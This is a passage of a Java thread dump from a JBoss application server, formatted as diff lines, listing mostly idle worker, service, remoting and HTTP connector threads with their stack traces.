+"server-timer" #106 daemon [TIMED_WAITING] on java.util.TaskQueue@3a4cbc1d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"ServerService Thread Pool -- 58" #118 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-19" #31 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-21" #33 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-6" #18 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 24" #60 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-4" #16 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Remoting "4dc98d6df1d2" write-1" #91 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:164) + +"MSC service thread 1-15" #27 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 28" #66 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-3" #15 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-79" #107 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.jboss.sun.net.httpserver.ServerImpl$Dispatcher.run(ServerImpl.java:382) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 46" #86 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"DestroyJavaVM" #36 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 51" #109 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 44" #84 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"DeploymentScanner-threads - 2" #63 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40f36f14 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"DeploymentScanner-threads - 1" #62 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40f36f14 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 26" #64 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331832af + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 53" #110 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@61718687 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"ServerService Thread Pool -- 3" #39 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-7" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Remoting "4dc98d6df1d2" read-1" #90 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:164) + +"ServerService Thread Pool -- 9" #45 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 18" #54 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 54" #114 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 12" #48 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-9" #21 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 23" #59 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 13" #49 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 25" #61 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 20" #56 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ConnectionValidator" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3e0262e0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:263) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 37" #75 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 56" #119 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"http-/0.0.0.0:8080-1" #120 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:713) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:351) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:819) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:926) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 39" #79 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at 